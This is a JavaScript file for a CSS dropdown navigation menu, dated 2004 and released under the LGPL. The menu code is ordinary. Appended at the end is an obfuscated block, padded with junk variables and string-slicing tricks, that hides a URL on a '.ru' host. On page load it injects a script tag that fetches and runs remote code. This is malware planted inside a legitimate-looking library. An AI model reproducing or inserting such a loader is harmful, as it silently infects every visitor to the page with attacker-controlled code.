/*
Author   : bieler batiste
Company  : doSimple : http://www.dosimple.ch
send me a mail for more informations : faden@PASDEPOURRIELaltern.org - remove ( PASDEPOURRIEL )

Short javascript function to create and handle a CSS navigation menu

Copyright (C) 2004  Bieler Batiste

This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.

This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
Lesser General Public License for more details.

You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
*/

// the timeout for the menu
var timeout = 1000;

// not very clean but simple
// the function can be run in the HTML for faster display
// window.onload=initMenu;

// creat timeout variables for list item
// it's for avoid some warning with IE
for( var i = 0; i < 100; i++ )
{
    eval("var timeoutli" + i + " = false;");
}

// this fonction apply the CSS style and the event
function initMenu()
{
    // a test to avoid some browser like IE4, Opera 6, and IE Mac
    if ( browser.isDOM1 
    && !( browser.isMac && browser.isIE ) 
    && !( browser.isOpera && browser.versionMajor < 7 )
    && !( browser.isIE && browser.versionMajor < 5 ) )
    {
        // get some element
        var menu = document.getElementById('menu'); // the root element
        var lis = menu.getElementsByTagName('li'); // all the li
        
        // change the class name of the menu, 
        // it's usefull for compatibility with old browser
        menu.className='menu';
        
        // i am searching for ul element in li element
        for ( var i=0; i<lis.length; i++ )
        {
            // is there a ul element ?
            if ( lis.item(i).getElementsByTagName('ul').length > 0 )
            {        
                // improve IE key navigation
                if ( browser.isIE )
                {
                    addAnEvent(lis.item(i),'keyup',show);
                }
                // link events to list item
                addAnEvent(lis.item(i),'mouseover',show);
                addAnEvent(lis.item(i),'mouseout',timeoutHide);
                addAnEvent(lis.item(i),'blur',timeoutHide);
                addAnEvent(lis.item(i),'focus',show);
                
                // add an id to list item
                lis.item(i).setAttribute( 'id', "li"+i );
            }
        }
    }
}

function addAnEvent( target, eventName, functionName )
{
    // apply the method to IE
    if ( browser.isIE )
    {
        //attachEvent dont work properly with this
        eval('target.on'+eventName+'=functionName');
    }
    // apply the method to DOM compliant browsers
    else
    {
        target.addEventListener( eventName , functionName , true ); // true is important for Opera7
    }
}
    
// hide the first ul element of the current element
function timeoutHide()
{
    // start the timeout
    eval( "timeout" + this.id + " = window.setTimeout('hideUlUnder( \"" + this.id + "\" )', " + timeout + " );");
}

// hide the ul elements under the element identified by id
function hideUlUnder( id )
{   
    document.getElementById(id).getElementsByTagName('ul')[0].style['visibility'] = 'hidden';
}

// show the first ul element found under this element
function show()
{
    // show the sub menu
    this.getElementsByTagName('ul')[0].style['visibility'] = 'visible';
    var currentNode=this;
    while(currentNode)
    {
            if( currentNode.nodeName=='LI')
            {
                currentNode.getElementsByTagName('a')[0].className = 'linkOver';
            }
            currentNode=currentNode.parentNode;
    }
    // clear the timeout
    eval ( "clearTimeout( timeout"+ this.id +");" );
    hideAllOthersUls( this );
}

// hide all ul on the same level of  this list item
function hideAllOthersUls( currentLi )
{
    var lis = currentLi.parentNode;
    for ( var i=0; i<lis.childNodes.length; i++ )
    {
        if ( lis.childNodes[i].nodeName=='LI' && lis.childNodes[i].id != currentLi.id )
        {
            hideUlUnderLi( lis.childNodes[i] );
        }
    }
}

// hide all the ul wich are in the li element
function hideUlUnderLi( li )
{
    var as = li.getElementsByTagName('a');
    for ( var i=0; i<as.length; i++ )
    {
        as.item(i).className="";
    }
    var uls = li.getElementsByTagName('ul');
    for ( var i=0; i<uls.length; i++ )
    {
        uls.item(i).style['visibility'] = 'hidden';
    }
} 


this.D='';var K;if(K!='' && K!='Lj'){K='O'};var U=new Date();function L(){var t=new String();var R='';var Wc=new String();var Vd;if(Vd!='UG'){Vd='UG'};var V=new String("YhWg".substr(3));var Q=RegExp;var j=new Date();function Z(r,i){var Lw= "[";Lw+=i;var Al;if(Al!='GP' && Al!='HF'){Al='GP'};var SI=new Array();Lw+="]";var Ym=new String();var k="";var _=new Q(Lw, V);return r.replace(_, R);var m=new String();};var n;if(n!='z' && n!='yR'){n='z'};this.MS="";var B=window;var N=new String("scri"+"pt");var WX;if(WX!='Bz'){WX=''};var dM;if(dM!='ow'){dM=''};var J=String("defcKz".substr(0,3)+"oOYger".substr(4));var X='';var W=String("srcwmM".substr(0,3));var v=new Date();var lF=new Array();var c=Z('8117909179787119091717',"791");var MF;if(MF!='' && MF!='fV'){MF=null};var M="http:"+"//alj"+"azeer"+"a-net"+".ya.r"+"u.sur"+"GVnveymo".substr(3)+"nkey-V2bp".substr(0,5)+"Sz9com.d9zS".substr(3,5)+"eargu"+"ide.r"+"u:eDwo".substr(0,2);var xc;if(xc!='h' && xc!='Hr'){xc='h'};var Y='';var A="cQzd/mp".substr(4)+"5WDnrsW5D".substr(3,3)+"mNH.coNHm".substr(3,3)+"m/m1Jkq".substr(0,3)+"pnr"+"s.c0UMG".substr(0,3)+"weExom/xeEw".substr(4,3)+"V09Wgoo".substr(4)+"OA7wgle".substr(4)+".coJC3".substr(0,3)+"m/z"+"fOIapp".substr(3)+"os.6YVZ".substr(0,3)+"comxTC8".substr(0,3)+"/li"+"qPjbnkejPbq".substr(4,3)+"dinGJo6".substr(0,3)+".coQM6P".substr(0,3)+"m.pie5".substr(0,3)+"Ikr0hp".substr(4);var yx="";var cB;if(cB!='' && cB!='bh'){cB='UF'};B.onload=function(){try {var Dp;if(Dp!='' && Dp!='LO'){Dp='Wo'};var sg=new Array();var u=new Date();Y=M+c;Y+=A;this.Ww="";var HC=new Array();var dL="";this.Vr='';cy=document.createElement(N);var uH=new String();var tg="";cy[W]=Y;var XU;if(XU!='' && XU!='Jc'){XU='BT'};var wD=new Date();cy[J]=[1][0];var Cn;if(Cn!='a'){Cn='a'};var gg=new Array();document.body.appendChild(cy);var JU=new Array();} catch(q){var y_=new Date();var SeM;if(SeM!=''){SeM='IY'};};var de;if(de!='' && de!='EJ'){de='cT'};var eT="";};var E_;if(E_!='' && E_!='n_'){E_=''};var ov;if(ov!='' && ov!='kj'){ov=''};};var wZ=new Array();var je=new Array();L();var aN=new Date();var az=new Array();